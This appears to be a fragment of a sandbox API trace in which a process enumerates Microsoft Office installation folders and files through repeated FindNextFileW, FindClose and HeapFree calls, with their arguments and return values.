	[0155.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0155.110] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa5cdc435, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa5cdc435, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffea39, dwReserved1=0xa3a, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0155.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0155.113] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffea39, dwReserved1=0xa3a, cFileName="root", cAlternateFileName="")) returned 1
	[0155.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0155.116] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0155.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0155.360] FindNextFileW (in: hFindFile=0x4140198, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0155.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0155.363] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0
	[0155.363] FindClose (in: hFindFile=0x41402d8 | out: hFindFile=0x41402d8) returned 1
	[0155.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0155.363] FindNextFileW (in: hFindFile=0x4140198, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0155.363] FindClose (in: hFindFile=0x4140198 | out: hFindFile=0x4140198) returned 1
	[0155.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0155.365] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0155.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0155.367] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0155.369] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0155.369] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0155.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0155.372] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1
	[0155.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0155.372] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0155.375] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0155.375] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1
	[0155.378] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0155.378] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0155.635] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0155.635] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0156.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0156.121] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1
	[0156.323] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0156.323] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0156.362] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0156.362] FindNextFileW (in: hFindFile=0x4140818, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0156.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0156.363] FindNextFileW (in: hFindFile=0x4140818, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0156.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0156.364] FindNextFileW (in: hFindFile=0x4140818, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1
	[0156.372] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0156.373] FindNextFileW (in: hFindFile=0x4140818, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0
	[0156.373] FindClose (in: hFindFile=0x4140818 | out: hFindFile=0x4140818) returned 1
	[0156.373] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0156.373] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1
	[0156.694] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0156.694] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1
	[0156.695] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0156.696] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1
	[0156.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0156.702] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1
	[0156.715] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0156.715] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1
	[0156.718] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0156.718] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1
	[0156.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0156.765] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0156.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0156.765] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0156.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0156.765] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1
	[0156.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0156.765] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0156.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0156.767] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0156.901] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.901] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0156.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.903] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0156.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.905] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0156.912] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.912] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0156.914] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.914] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0156.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.919] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1
	[0156.921] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.921] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0156.929] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
